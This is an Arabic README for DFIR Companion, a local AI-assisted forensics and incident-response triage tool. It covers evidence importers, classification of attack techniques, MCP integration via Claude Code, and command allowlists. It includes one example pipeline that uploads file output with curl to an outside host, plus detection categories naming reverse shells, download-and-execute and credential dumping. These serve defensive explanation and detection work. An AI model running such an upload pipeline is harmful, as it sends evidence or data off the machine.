
خادم مرافق للتحقيق الجنائي الرقمي والاستجابة للحوادث + إضافة التقاط
فرز DFIR بمساعدة الذكاء الاصطناعي — على جهازك. يحوّل لقطات شاشة التحقيق والآثار المستوردة إلى خط زمني جنائي، ونتائج، ومؤشرات اختراق (IOCs)، ورسم بياني يربط الأصول↔مؤشرات الاختراق، وتقارير قابلة للمشاركة؛ اطرح أسئلة على القضية باللغة الإنجليزية البسيطة وتعاون مع محققين آخرين.
رفيق رقمي محلي للطب الشرعي الرقمي / الاستجابة للحوادث. تلتقط إضافة المتصفح لقطات شاشة لتحقيقك (Velociraptor، لوحات EDR/SIEM، Security Onion، Splunk4DFIR، VolWeb، VirusTotal، إلخ) كأدلة؛ يخزّنها خادم محلي، ويشغّل تحليل رؤية بالذكاء الاصطناعي بنوافذ إلى حالة تحقيق متراكمة لكل قضية، ويقدّم لوحة تحكم حية بالإضافة إلى تقارير قابلة للتصدير.
كل شيء يعمل على جهازك — يرتبط الرفيق بـ 127.0.0.1 فقط، وتبقى الأدلة
على القرص، ومزوّد الذكاء الاصطناعي هو اختيارك.
طبقة تحليل ما بعد الكشف. DFIR Companion ليس محرك كشف — بل يستوعب الأحكام من Velociraptor، Security Onion، Chainsaw، Hayabusa، THOR، Cyber Triage، EDR/SIEM، ويربطها في خط زمني جنائي واحد، ويولّف النتائج، ومسار المهاجم، ومؤشرات الاختراق، والتقارير. القيمة هي "وماذا بعد"، وليس إعادة استنتاج التنبيهات.
قضية تجريبية: https://dfir-companion-production.up.railway.app/dashboard?caseId=demo
مختبر عملي: https://killercoda.com/dfir-companion/scenario/killercoda
دليل المستخدم: https://hasamba.github.io/DFIR-Companion/manual/
companion/.env)قضية تجريبية: GlobalTech Industries — BEC & Ransomware Precursor، مايو 2026.
قضية معبّأة مسبقًا بالكامل يمكنك استكشافها دون استيراد أي أدلة حقيقية — النتائج، ومؤشرات الاختراق، وتقنيات MITRE، ووسوم/تعليقات المحلل، وبيانات تعرّض العميل، وبيانات وصفية للتقرير كلها معبّأة مسبقًا بحيث يكون لكل لوحة في لوحة التحكم شيء تعرضه.
حمّلها بنقرة واحدة — انقر على زر Demo case في شريط أدوات لوحة التحكم. يعمل مع ملف Windows EXE المحمول أيضًا (لا حاجة إلى Node أو
npm). يؤكد الزر قبل الكتابة فوق القضية إذا كانت موجودة بالفعل.أو عبّئها من CLI (تطوير / Docker):
cd companion && npm run seed-demo # creates case id "demo" npm run seed-demo -- --force # overwrite an existing demo case npm run seed-demo -- --case-id globaltech # use a custom idثم افتح
http://127.0.0.1:4773/dashboardواتصل بالقضية.
ملخص القضية المولّد بالذكاء الاصطناعي، وسرد دقيقة بدقيقة، وكتابة مسار المهاجم — من الوصول الأولي إلى نشر برامج الفدية.
أحداث محللة مع مرشحات الخطورة، ووسوم الفرز، وروابط تفاصيل لكل صف، وتتبع تغييرات الاستيراد (شريط الأحداث الجديدة مع فرق قابل للتوسيع).
كل حدث تم استيراده على الإطلاق، قبل تصفية النطاق/الخطورة — صفّح، ووسّم، ونجّم، ورقِّ الصفوف إلى الخط الزمني الجنائي المحلل؛ لا شيء يُحذف، هذا عرض شامل.
مخطط مرئي للأحداث حسب الأصل (المحور Y) والوقت (المحور X)، ملوّن حسب الخطورة — اسحب محور الوقت لتصفية الخط الزمني الجنائي إلى نطاق محدد.
نتائج مولّدة بالذكاء الاصطناعي مع درجات الثقة، ووسوم فرز المحلل، وروابط تقنيات MITRE ATT&CK؛ تتبع ما تغيّر منذ تشغيل التوليف السابق.
أحداث مصنّفة حسب تكتيك MITRE ATT&CK — تصنيف، وليس مرحلة سلسلة قتل مؤكدة، مستنتج بشكل حتمي دون ذكاء اصطناعي.
أسئلة DFIR القياسية يُجاب عنها تلقائيًا من القضية المولّفة (مجاب عنها / جزئي / غير معروف)، كل منها مع مؤشر دليل أو توجيه "اجمع هذا تاليًا".
قائمة تحقق للمعالجة قابلة للتنفيذ مستنتجة تلقائيًا من النتائج والخطوات التالية الموصى بها؛ يُعاد مزامنتها في كل تشغيل توليف مع الحفاظ على حالة المحلل، والمسؤول المعيّن، وتواريخ الاستحقاق.
أي المضيفين/الحسابات تحمل الهجوم، مُقيّمة بالإشارة (أحداث موزونة بالخطورة + تقنيات + مؤشرات اختراق رابطة) وليس بالحجم، مع نافذة نطاق مقترحة بنقرة واحدة.
أشجار العمليات، والحركة الجانبية، وسلالة الملفات مدموجة في رسم هجوم سببي واحد. مستنتج بشكل حتمي من الحقول المعبّأة بواسطة المستورد — لا ذكاء اصطناعي، لا تكلفة، يعمل دون اتصال.
من سجّل الدخول وأين — حسابات ومضيفون مرتبطون من أحداث تسجيل الدخول في الخط الزمني الفائق، مع التمييز بين عمليات تسجيل الدخول الناجحة والفاشلة والمحفوفة بالمخاطر (RDP/runas/netonly).
قنوات صادرة دورية منتظمة أكثر من أن تكون حركة بشرية — خيط صيد، وليس حكمًا، مع الفاصل الزمني، والتذبذب، وعدد الأحداث لكل مرشح.
المؤشرات (عناوين IP · النطاقات · التجزئات · الملفات · العمليات · الحسابات) مُثراة مقابل VirusTotal،
وAbuseIPDB، وThreatFox، ومزوّدين آخرين — شارات الأحكام، ودرجات الكشف، وإبرازات استيراد NEW،
وتسميات فرز المحلل.
رسم بياني تفاعلي يربط المضيفين والحسابات الضحايا بالمؤشرات التي لمست كلًا منها، بالإضافة إلى قائمة المضيفين والمستخدمين المخترقين المعروفين.
drop/ الخاص بقضية تُستورد في الخلفية، وتنتقل إلى _processed/ أو _failed/، وتُسجّل في drop-log.txt؛ مجلد فرعي asset=<HOST> يسمّي المضيفجميع المستوردات حتمية (بلا استدعاء ذكاء اصطناعي)، وتقرأ الطوابع الزمنية الخاصة بالأثر نفسه، وتوسم الأحداث باسم الأداة الحقيقي للربط متعدد المصادر. يمكن إعادة استيراد نفس الملف دون تكرار الخط الزمني.
object/action/properties، timestamp_ms بصيغة epoch-ms) — أحداث العمليات/التدفقات/تسجيل الدخول/السجل/الوحدات/الملفات/الخيوط | أدلة معلوماتية؛ رفع LOLBin/سطر أوامر مُشفَّر (عناوين IP عامة → مؤشرات اختراق) |
| Windows Event Log XML | Event Viewer "Save As XML"، wevtutil qe /f:xml، Get-WinEvent … ToXml() (Security، Sysmon، System، أي قناة) | جدول Windows/Sysmon حسب EID |
| Chainsaw | JSON/JSONL لصيد EVTX (chainsaw hunt --json)؛ قابل للتشغيل مباشرة على .evtx الخام عبر مشغّل الأدوات | مستوى قاعدة Sigma المطابقة |
| Hayabusa | json-timeline أو csv-timeline | مستوى قاعدة Sigma المطابقة |
| Velociraptor | مصفوفة JSON، أو JSONL، أو خريطة artifact | حكم Sigma/YARA أو حسب EID |
| | مخرجات الفحص بصيغة JSON-Lines | مستوى تنبيه THOR |
| | ، سجلات Zeek بصيغة JSON؛ القياس عن بُعد → مؤشرات اختراق فقط | أولوية التنبيه / خطورة الإشعار |
| | سجل تنبيه أحادي السطر | القاعدة (1→عالية / 2→متوسطة / 3→منخفضة) |
| | مخرجات فحص CLI (مطابقات القواعد + السلاسل/البيانات الوصفية) | معلومات→متوسطة لكل مطابقة؛ رفع عند وجود / في البيانات الوصفية للقاعدة |
| | تنسيق سجل لـ Apache/Nginx/Squid (سجل وصول خادم ويب أو وكيل تمرير)؛ التقاط عنوان URL للطلب، و (الأسرار في URL/Referer + بصمات الماسحات/البوتات/الحقن تبقى كأحداث + مؤشرات اختراق) | معلومات افتراضيًا؛ رفض الوصول (401/403/407) → منخفضة؛ استنساخ/دفع git smart-HTTP → T1213 |
| | رسائل Built/Teardown/Deny | معلومات افتراضيًا (قياس عن بُعد)؛ صريح → منخفضة |
| | RFC 5424 () + RFC 3164 () سجلات مضيف Linux/Unix | معلومات افتراضيًا (قياس عن بُعد)؛ فشل المصادقة أو PRI من نوع crit/alert/emerg → منخفضة |
| | أحداث SOC Alerts/Hunt (ECS)؛ تُدفع عبر الإضافة أو تصدير SOC API | (تسمية Suricata/SO) |
| | تنبيهات Suricata + مطابقات ملفات YARA () واكتشافات Sigma ()؛ تُدفع عبر الإضافة أو تصدير خام | أولوية Suricata / مستوى Sigma / مطابقة YARA |
| | خط زمني JSONL / JSON / CSV | درجة عنصر Cyber Triage |
| | UAL، سجلات تسجيل الدخول والتدقيق في Entra | جدول أساليب BEC / riskLevel في Entra |
| | تصدير System Log | جدول أساليب IdP (تعطيل MFA، منح صلاحية مسؤول، إصدار رمز API، انتحال جلسة) — وليس التقييم التشغيلي للمورّد |
| | تدقيق المسؤول + تسجيل الدخول | جدول أساليب IdP (تعطيل 2SV، منح دور، الموافقة على OAuth، إضافة مراقبة البريد) |
| | سجل Chrome/Edge/Brave، التنزيلات، التفسيرات (JSON أو CSV) | — (أحداث معلوماتية: آثار المتصفح أدلة، وليست أحكامًا) |
| | السجل الموحّد ()، أحداث تنزيل LSQuarantine، سمات ، قوائم launchd، عناصر تسجيل الدخول (plist الكلاسيكي، ، BTM) | سجل الحجر ↔ سمة الملف ↔ زيارة المتصفح ↔ بدء العملية مرتبطة بالمُعرّف؛ يُقرأ plist كإعداد، وليس كتشغيل |
| | آثار استخراج iOS + Android من تصديرات LEAPP TSV | — (أحداث معلوماتية؛ محلل عام يعتمد على عمود الطابع الزمني) |
| | سجلات JSON، NDJSON، Athena | جدول إجراءات API (IAM/التسجيل/S3/الأسرار) |
| | سجلات تدقيق السحابة، سجل نشاط Azure | جدول الإجراءات (IAM/التسجيل/الأسرار) |
| | سجل تدقيق خادم API ( بصيغة JSON-lines / EventList) | جدول (verb، resource) — pod exec/attach T1609، الوصول إلى الأسرار T1552.007، تغيير RBAC T1098، pod مميز T1610/T1611، وصول مجهول T1078 |
| | سجل نتائج الاستعلامات المجدولة (تفاضلي + ) | قياس معلوماتي عن بُعد؛ رفع محافظ على أساليب الهجوم عند وجود عمود سطر أوامر |
| | CSV (ديناميكي + l2tcsv) | — (أحداث معلوماتية) |
| | CAPEv2 ، ملخص Falcon Sandbox | حكم العينة + التوقيعات السلوكية |
| | Volatility 3 () + Rekall: pslist/pstree، netscan، malfind، cmdline، svcscan؛ غلاف تشغيل JSON (الأمر، حالة الخروج، stderr) يُستورد بجانب التصدير | malfind كود محقون → عالية (T1055)؛ القوائم → معلوماتية/منخفضة؛ تشغيل بصفوف صفرية أو فاشل يوضّح ما يثبته |
| | جداول إضافات + | نفس تعيين الإضافات؛ إصابات YARA في الذاكرة → منخفضة، عنقود كثيف متعدد القواعد → معلوماتية؛ حدود الصفوف مُفصح عنها |
| | تصدير JSON للحالة/التنبيه، قائمة العناصر القابلة للملاحظة (TheHive 5) | خطورة TheHive 1–4؛ MITRE من الوسوم الموسومة بـ ATT&CK |
| | (RFC 2822)، بأفضل جهد | فشل SPF/DKIM/DMARC → استدلالات انتحال المرسل (T1566 التصيّد) |
| | / (bash + السجل الموسّع لـ zsh) | معلوماتية افتراضيًا؛ رفع محافظ على أساليب الهجوم (reverse shell، التنزيل والتنفيذ، الوصول إلى بيانات الاعتماد، التلاعب بالسجل/التاريخ، SSH الجانبي) |
| | مفاتيح SSH المصرّح بها، cron، وحدات systemd، ملفات تعريف الصدفة، قوائم SUID وPATH من مجموعة واحدة | حِمل قابل للكتابة من الجميع، جذر يشغّل ملفات قابلة للكتابة من المستخدم، مفسّرات setuid؛ لا شيء يُصنَّف لمجرد وجوده |
| | سجلات / الخام، جداول | جدول أنواع السجلات (عمليات تسجيل الدخول، إدارة الحسابات، sudo، SELinux، التلاعب بالتدقيق) |
| | / | PRIORITY في syslog + رفعات أساليب الهجوم (sshd، sudo، useradd) |
| | JSON تنبيه Falco، JSON حدث sysdig | أولوية قاعدة Falco؛ استدعاءات النظام الخام → قياس معلوماتي عن بُعد |
| | / NDJSON، أو تصدير API () | (≥13 حرجة، ≥10 عالية، ≥7 متوسطة) |
| | تصديرات Velociraptor / EDR | — |
| | جدار الحماية، syslog، VPN؛ أسطر متكررة → أنماط محسوبة | مُصنَّفة بالذكاء الاصطناعي |تصنيف حتمي لأساليب الهجوم — تُصنَّف أسطر أوامر Windows/Sysmon وECAR والذاكرة وفق قواعد مستخلصة من أكثر من 110 اختراقات حقيقية (The DFIR Report، Huntress): أساليب هجوم عالية الثقة → عالية مع تقنية ATT&CK الخاصة بها (تعطيل Defender، تثبيط الاسترداد، استخراج بيانات الاعتماد، الأنفاق العكسية، Impacket، RMM/C2، تسريب سحابي …)، ثنائية الاستخدام → متوسطة؛ الاستكشاف المحض يُوسَم لكن لا يُرفَع أبدًا.
runas /netonly) → متوسطة$SI/$FN في MFT كتلاعب محتمل بالطوابع الزمنية → متوسطةrclone/restic/megasync/megacmd في PrefetchZone.Identifier مقابل Prefetch وبدايات العمليات وسجلات وجود نفس الملف وتُرفَع فقط عندما يكون التنفيذ مؤرخًا بعدها؛ حِمل في تدفق مخفي يُصنَّف حسب المحتوى، لا الاسمDFIR_JEV_ENABLED)DFIR_SHODAN_KEY? بجانب ترس الإعدادات يفتح دليل المستخدم عبر الإنترنت في تبويب جديدmanual، تبقى بعد إعادة التحليل)$0.00 مُختلق أبدًا عندما لا يبلّغ المزوّد عنها)DFIR_MAX_EVENTS) — يتجاوز الحد الآمن الافتراضي البالغ 2000 حدث لكل استيرادDFIR_LOG_LEVEL؛ debug يتتبع الذكاء الاصطناعي/الالتقاطات/OCR/إخفاء الهويةchoco install dfir-companion؛ تنزيل + التحقق من البناء المحمول + تضمين إضافة الالتقاط، البيانات في يمكن للـ Companion توجيه أدلة القضية إلى خوادم MCP التي تشغّلها أنت — محطة عمل SIFT، أو جهاز REMnux، أو خدمة خط أساس لفرز Windows — بحيث تُحلَّل الأدلة على جهاز يمتلك الأدوات.
لا يصل إليها إلا عبر Claude Code. الـ Companion ليس عميل MCP: فهو لا يحمل عنوان URL لأي خادم،
ولا رمز bearer، ولا يبدأ أي npx أو uvx خاص به. Claude Code مُهيّأ بالفعل بخوادمك
ويحمل بالفعل بيانات اعتمادها، فهو من يتحدث والـ Companion يطلب منه ذلك.
تعمل هذه الميزة بأكملها فقط إذا:
DFIR_AI_CLAUDE_CODE_BIN إذا لم يكن claude على PATH الخاص به.claude mcp add …، أو ملف تهيئته)، و
يعرض claude mcp list أنها متصلة.لا يوجد بديل احتياطي. إذا شغّلت الـ Companion في Docker، أو من AppImage، أو من بناء Windows المحمول دون Claude Code بجانبه، فستخبرك مسارات MCP بذلك ولا شيء غير ذلك.
هناك نتيجتان جديرتان بالمعرفة قبل الاعتماد عليه. كل استدعاء MCP يمر عبر نموذج، لذا فهو يستهلك رموزًا وليس الاستدعاء الحتمي بتًا بتًا الذي سيكون عليه طلب JSON-RPC مباشر — فالمطالبة تجعله ناقلًا (أداة واحدة، وسائط دقيقة، مخرجات حرفية) لكن النموذج لا يزال في المنتصف. ولأن الخوادم تأتي من تهيئة Claude Code الخاصة به بدلًا من تهيئة مُولَّدة، فإن Claude Code يبدأ كل خادم مُهيّأ عليه في كل تشغيل، وليس فقط الخادم المستخدم؛ فقائمة السماح تحدّ ما يجوز استدعاؤه، لا ما يُطلَق.
في Settings → Tools، اضغط Refresh from Claude Code لتحميل قائمة خوادمه، ثم اسمح لواحد وحدد ما يجوز له فعله. لا شيء لتكتبه سوى السياسة — أسماء الخوادم تأتي من Claude Code نفسه، لذا لا يمكن لخطأ مطبعي أن يتركك بإدخال يطابق لا شيء بصمت.
POST /cases/<id>/mcp/<serverId>/run مع { tool, args, targetPath }. ضع <target> حيثما
تتوقع الأداة مسار الأدلة — يُستبدل بالمسار على مضيف التحليل بعد تشغيل التسليم،
فالوسيط الذي تكتبه هو الوسيط الذي تستقبله الأداة:```json
{ "tool": "run_command",
"args": { "command": ["vol.py", "-f", "", "pslist"] },
"targetPath": "imports/memory.raw" }
يتم حل `targetPath` داخل دليل الحالة؛ ويُرفض أي شيء خارجه. بالنسبة لعيّنة يحتفظ بها المتصفح ولا يملك الخادم مسارًا إليها، يأخذ `POST /cases/<id>/mcp/<serverId>/run-upload` بدلاً من ذلك `{ filename, dataBase64 }` ويُهيّئ البايتات داخل الحالة أولاً.
كلاهما يعيد **202 مع معرّف مهمة** بدلاً من الحجب. تشغيل Volatility حقيقي يتجاوز أي مهلة طلب معقولة، لذا يكون التشغيل مهمة خلفية مع تقدّم وزر إلغاء وبثّ `job_changed` عبر WebSocket. تتدفق النتيجة إلى الحالة عبر نفس سلسلة الاستيراد كأي أداة أخرى — أحداث الخط الزمني والنتائج ومؤشرات الاختراق، مع نقطة استعادة للتراجع — فلا يختلف شيء في قراءة النتيجة عن استيراد عادي. يُوجَّه المخرَج المهيكل إلى المستورِد المطابق؛ أما النثر غير المهيكل فيسقط إلى مسار السجل العام بدلاً من رفضه.
الأداة التي تبلّغ عن فشلها الذاتي تُفشِل المهمة بدلاً من استيعابها: رسالة الخطأ تشخيصية وليست أثرًا، وإدراجها في الخط الزمني سيجعلها تبدو كدليل.
### المعاينة قبل الاستيراد
**مفعّلة افتراضيًا**، ويستحق إبقاءها كذلك. سيعيد خادم MCP البيانات المرجعية بنفس سهولة الأدلة — اسأل SIFT عن الأدوات التي يملكها فتحصل على جرد JSON مطابق بنيويًا لجدول Volatility: مصفوفة من الكائنات بلا طوابع زمنية. لا يستطيع أي كاشف التمييز بينهما، لذا تفعل المستورِدات ما بُنيت لأجله وتستخرج كل مسار فيه كمؤشر ملف. قائمة قدرات واحدة تعني بضع عشرات من مؤشرات الاختراق التي لم ترغب بها الحالة أبدًا.
مع تفعيل المعاينة، يجلب التشغيل المخرَج ويتوقف. ترى البايتات والحجم والنوع الذي *سيُستورد* كـه، وتختار. الموافقة تستوعب **بالضبط البايتات المجلوبة بالفعل** — لا تعيد تشغيل الأداة أبدًا، لذا يكلف تشغيل Volatility لمدة عشرين دقيقة عشرين دقيقة مرة واحدة، وأداة ذات آثار جانبية تنفّذها مرة واحدة. التجاهل يرمي المخرَج بعيدًا وتبقى الحالة دون مساس.
أرسل `preview: true` على التشغيل لاستخدامه من واجهة API، ثم `GET` أو `POST …/import` أو `DELETE` على `/cases/<id>/mcp/preview/<jobId>`.
لا شيء هنا بديل عن الحكم بشأن ما يجب تشغيله، والاستيراد دون معاينة ليس خطيرًا — كل استيراد MCP يدفع نقطة استعادة للتراجع، لذا فإن تشغيلًا يتبيّن أنه ضجيج يبعد نقرة واحدة عن التراجع عنه.
### ما يمنحه استخدام خادم
**افتراضيًا، كل ما يقدّمه الخادم.** هذا متعمّد: Claude Code يسمح لك بالفعل باستدعاء أي أداة على أي خادم قمت بتهيئته، لذا فإن إلزامك بإعادة تعدادها هنا كان سيكون أكثر صرامة من استخدامك اليومي — ومكانًا ثانيًا لوصف الخادم نفسه.
يجدر معرفة ما يتضمنه "كل شيء". بعض الخوادم تكشف أدوات دقيقة — `check_service`، `check_autorun`، واحدة لكل سؤال. وأخرى تكشف **مشغّل أوامر** واحدًا ينفّذ أي شيء تسلّمه إياه: `run_command` في SIFT يذكر أنه يستطيع تنفيذ "معظم الأدوات المثبّتة في SIFT … بما في ذلك curl وwget وdd وfdisk وpython3"، و`run_tool` في REMnux يأخذ خط أنابيب shell كاملاً. استخدام مثل هذا الخادم من الرفيق يعني تنفيذ أوامر على ذلك المضيف — معقول على شبكة جنائيات معزولة، حيث صناديق التحليل ملكك والأدلة موجودة أصلاً على شبكتك المحلية، وغير معقول في أي مكان آخر.
قائمتان **اختياريتان** تضيّقان ذلك عندما تريد:
| الإعداد | ينطبق على | الفراغ يعني |
|---|---|---|
| **Restrict to tools** | كل استدعاء | كل أداة يقدّمها الخادم |
| **Restrict to commands** | الاستدعاءات التي تحمل وسيط أمر | لا قيد على الأوامر |
تُطابَق الأوامر **بالاسم الأساسي**، لذا `grep` و`/usr/bin/grep` قاعدة واحدة. تُفحص كل مرحلة من خط الأنابيب، وليس الأولى فقط — `oledump.py s.doc | curl -T - http://elsewhere` يحتاج إلى السماح بكل من `oledump.py` و`curl`. الأمر الذي يستخدم استبدال shell (`$(…)`، علامات الاقتباس الخلفية، `${…}`) يُرفض رفضًا قاطعًا، لأن ما سينفّذه لا يمكن معرفته مسبقًا.
**ما لا تفعله قائمة الأوامر.** إنها تحدّ *أي* الملفات التنفيذية تعمل، وليس ما يمكن لملف تنفيذي مسموح به أن يفعله — السماح بـ `dd` يسمح بالكتابة إلى أي مسار يمكن لمستخدم ذلك الخادم الكتابة إليه؛ والسماح بـ `python3` يسمح بشيفرة عشوائية. كما أنها تعتمد على أسماء معاملات معروفة (`command`، `cmd`، `argv`)، لذا فإن خادمًا يسمّي معامل أمره شيئًا غير معتاد لا يُلتقط. إنها موجودة لمساعدة مشغّل يريد تضييق وصوله الخاص، لا لاحتواء خادم ما كان ينبغي له تهيئته أصلاً.
### إيصال الأدلة إلى الخادم
لا يملك MCP أي عنصر أساسي لنقل الملفات، ولا يمكن لصورة ذاكرة بحجم عدة غيغابايت أن تنتقل داخل وسيط أداة، لذا يجب أن يكون الملف موجودًا بالفعل في مكان يستطيع الخادم فتحه. يبقى هذا الجزء مهمة الرفيق — لا يستطيع Claude Code نقل صورة إلى صندوق تحليل. يختار كل خادم أحد مسارين:
**`remote-path`** (افتراضي) — الدليل مرئي بالفعل لمضيف التحليل عبر تركيب مشترك. عيّن بادئة محلية وبادئة بعيدة ويُعاد كتابة المسار (`/srv/cases/…` → `/mnt/dfir/…`)؛ اترك كليهما فارغين عندما يكون التركيب على نفس المسار على الجانبين. لا يُنسخ شيء.
**`scp`** — يدفع الرفيق الملف إلى دليل تهيئة، وتعمل الأداة، ثم تُحذف النسخة المهيّأة بعد ذلك. هيّئ `host` و`remoteDir`، واختياريًا `user` و`port` و`identityFile`.
أربعة أمور يجب معرفتها قبل اختيار `scp`:
- **يجب أن يكون مفتاح المضيف موثوقًا بالفعل.** `BatchMode` مفعّل و`StrictHostKeyChecking` *ليس* معطّلاً، لذا يفشل مضيف غير معروف بـ `Host key verification failed` بدلاً من الوثوق بأي شيء أجاب على العنوان. اتصل يدويًا مرة واحدة (أو أضف المفتاح إلى `known_hosts`) أولاً. هذا متعمّد: القبول الصامت لمفتاح غير موثّق سيسلّم الأدلة لأي شخص يملك عنوان IP.
- **المصادقة قائمة على المفتاح فقط.** `BatchMode` يعني أن ssh لا يطلب أبدًا، لذا لا يمكن لخادم يعتمد على كلمة مرور فقط أن يعمل. وجّه `identityFile` إلى مفتاح بلا عبارة مرور، أو حمّله في وكيل يستطيع عملية الخادم الوصول إليه.
- **لا يوجد تقدّم ولا استئناف.** نسخة بحجم 16 غيغابايت غامضة حتى تنتهي أو تفشل، واتصال منقطع يعني البدء من جديد. النقل قابل للإلغاء وله مهلة خاصة به مدتها ساعة، منفصلة عن مهلة استدعاء الأداة.
- **المضيف والمستخدم والدليل البعيد مقيّدة بمجموعة محارف محافظة** (حروف، أرقام، نقطة، شرطة، شرطة سفلية، و`/` للدليل). يصل `user@host` إلى ssh بلا اقتباس، لذا يُرفض أي شيء له معنى في shell عند حفظه بدلاً من وقت النقل. يُشتق اسم الملف المهيّأ من اسم الدليل ويُنقّى بالطريقة نفسها.
يسجّل أي من المسارين **حدث `transferred` لسلسلة الحيازة** يسمّي الوجهة، لذا يُظهر ملف الحالة أن الأدلة غادرت هذا الجهاز، ومتى، وإلى أين. النقل الذي يفشل لا يسجّل شيئًا — لا تدّعي السلسلة أبدًا نسخة لم تحدث.
### تحقيقات MCP باللغة العادية
لا يستطيع استدعاء أداة واحد متابعة خيط. "حقّق في هذا التفريغ" يريد حلقة — شغّل pslist، لاحظ شيئًا، انتقل إلى malfind — وهذا ما يفعله الوضع الوكيلي: يتيح لـ Claude Code القيادة ضد الخادم الذي سمحت به، ثم يدمج ما يبلّغ عنه. هذا هو سير عمل MCP الأساسي في لوحة التحكم: اكتب الهدف باللغة العادية، اختر الدليل أو تصفّح إليه، اختر تطبيق MCP، واضغط **Investigate**. أسماء الأدوات ووسائط JSON متاحة فقط تحت قسم الاستدعاء اليدوي المتقدم.
`POST /cases/<id>/mcp/agent` مع `{ prompt, servers?, targetPath?, preview? }`، أو `POST /cases/<id>/mcp/agent-upload` مع `{ prompt, servers, filename, dataBase64, preview? }`.
**اقرأ هذا قبل السماح بخادم.** في تشغيل يدوي يتحكم الرفيق في كل استدعاء، لذا يمر كل استدعاء بقوائم السماح للأدوات *و*الأوامر. في الوضع الوكيلي ليس كذلك: `claude` يتحدث إلى الخوادم مباشرة. تبقى قائمة السماح للأدوات فقط، كـ `--allowed-tools`. **لا يمكن فرض قائمة السماح للأوامر.** لذا فإن السماح لوكيل باستخدام أداة مشغّل أوامر يمنح حلقة مستقلة القدرة على اختيار سطور أوامرها الخاصة على ذلك المضيف.
السماح بخادم MCP وتفعيله في الرفيق هو حدّ الإذن لهذا الوضع. يظل قيد أدوات الخادم ساريًا. لا يمكن لقيد الأوامر تقييد الحلقة المستقلة؛ إنه ينطبق فقط على الاستدعاءات اليدوية المتقدمة.
ما يضمنه الوضع رغم ذلك: يُمرَّر قيد أدوات صريح أداة بأداة؛ والقيد الفارغ يسمح عمدًا بكل أداة يكشفها ذلك الخادم. تُستبعد إعدادات المشروع/المحلية وملفات `CLAUDE.md` والخطافات، ويكون التشغيل محدودًا بعدد الأدوار. تبقى إعدادات مستخدم Claude Code مفعّلة لأنها حيث توجد اتصالات خادم MCP الخاصة به.
يُتحقق من صحة رد الوكيل وفق المخطط ويُجرَّد من ادعاءات المصدر قبل دمجه — فكل ما رآه جاء من مخرَج أداة، وهو غير موثوق. لا يُطلب منه أبدًا ملخص حالة، لذا يضيف التشغيل نتائج ومؤشرات اختراق وأحداثًا دون إعادة كتابة استنتاجاتك. المعاينة تعمل هنا أيضًا، وتهم أكثر: حلقة مستقلة تقرر بنفسها ما تبلّغ عنه.
التحقيق محدود بـ 40 دورًا. إذا استهلك Claude Code تلك الميزانية أثناء استخدام الأدوات، يستأنف الرفيق الجلسة نفسها مرة واحدة مع تعطيل كل الأدوات ويطلب منه التبليغ فقط من الأدلة المجمّعة بالفعل. يحافظ هذا على حدّ الأمان دون فقدان تحقيق مكتمل لمجرد أن JSON النهائي كان سيكون الدور التالي.
### بيانات الاعتماد
لا يوجد شيء لتهيئته هنا. رموز Bearer والترويسات والناقلات كلها موجودة في تهيئة MCP الخاصة بـ Claude Code، وهي المكان الوحيد الذي يحتفظ بها. يخزّن الرفيق *اسم* خادم وقائمة سماح وكتلة تسليم — لا شيء يمكّنه من الاتصال بأي شيء بمفرده.
تحذير واحد إن ذهبت للبحث: `claude mcp list` يطبع سطر الأوامر الكامل لكل خادم، والذي يتضمن بالنسبة لمدخل `mcp-remote` رمز Bearer بنص صريح. يحلّل الرفيق الاسم وحكم السلامة فقط من ذلك المخرَج ولا يخزّن أو يسجّل أو يعرض الباقي أبدًا — لكن كن حذرًا بشأن مكان تشغيل ذلك الأمر بنفسك.
## تخطيط المستودع```
52.43-DFIR-Companion/
├── companion/ Node/TS localhost server (the core). See companion/README.md.
├── extension/ MV3 capture extension (Chrome/Comet + Firefox). See extension/README.md.
├── public/
│ └── dashboard.html Live dashboard, served by the companion at /dashboard.
├── docs/
│ └── superpowers/plans/ The original 4 implementation plans.
├── Dockerfile Single-image build (server + dashboard + add-on); no Ollama/LiteLLM.
├── docker-compose.yml Localhost-only Compose: ./cases volume, add-on → ./addon.
└── cases/ Evidence + state output (gitignored). Location set by DFIR_CASES_ROOT.
Browser (Comet/Chrome) Localhost companion (127.0.0.1:4773) ┌─────────────────────┐ POST ┌───────────────────────────────────────┐ │ DFIR Capture (MV3) │ /captures ──▶ │ ingest → evidence (screenshots+jsonl) │ │ timer + events │ │ │ │ └─────────────────────┘ │ ▼ per-window AI extraction (cheap) │ │ forensic timeline ──▶ synthesis (strong)│ Dashboard / Reports ◀── WS /ws, │ findings, IOCs, MITRE, attacker path, │ GET /cases/:id/state │ key questions, threads │ └─────────────────────┘ └───────────────────────────────────────┘
**تحليل على مرحلتين:** يقرأ نموذج رؤية منخفض التكلفة كل لقطة شاشة إلى الجدول الزمني
الجنائي؛ ويقوم نموذج أقوى باستدعاء التوليف الشامل الواحد (النتائج، MITRE،
مسار المهاجم، الأسئلة). قم بتهيئة كليهما عبر `.env` — انظر `companion/README.md`.
## البدء السريع
> **المتطلب الأساسي:** [Node.js](https://nodejs.org/) **22.19 أو أحدث** (الذي يأتي مع `npm`).
> تحقق باستخدام `node --version`. كل ما يلي يستخدم `npm`، لذا لا حاجة لبيئة تشغيل أخرى.
> يستخدم تخزين الحالات المفهرس وحدة `node:sqlite` المدمجة، لذا لا يمكن لإصدارات Node الأقدم فتح
> الحالات. تتضمن النسخة المحمولة بيئة تشغيل متوافقة.
1. **Companion** (الخادم): ```
git clone https://github.com/hasamba/DFIR-Companion.git
cd DFIR-Companion/companion
npm install
cp .env.example .env # set DFIR_VISION_PROVIDER / MODEL / KEY (or leave AI off)
npm run dev # serves http://127.0.0.1:4773 (dashboard at /dashboard)
الإضافة (الالتقاط):
الأسهل: التثبيت مباشرة من
متجر Chrome الإلكتروني.
على Firefox 140+، نزّل dfir-capture-extension-firefox-*.zip من
أحدث إصدار وفك ضغطه.
أو ابنِ من المصدر: ``` cd DFIR-Companion/extension npm install npm run build # Chrome/Comet → load extension/dist as an unpacked extension npm run build:firefox # Firefox 140+ → load extension/dist-firefox/manifest.json
على Firefox، حمّله من about:debugging#/runtime/this-firefox → Load Temporary Add-on…
واختر ملف manifest.json (Chrome يطلب المجلد؛ Firefox لا يفعل). يُسقط Firefox
الإضافات المؤقتة عند إعادة التشغيل، لذا كرّر ذلك في كل جلسة — لا يوجد إدراج على AMO بعد،
لذا فإن ملف zip الخاص بالإصدار غير موقّع ولا يمكن تثبيته بشكل دائم.
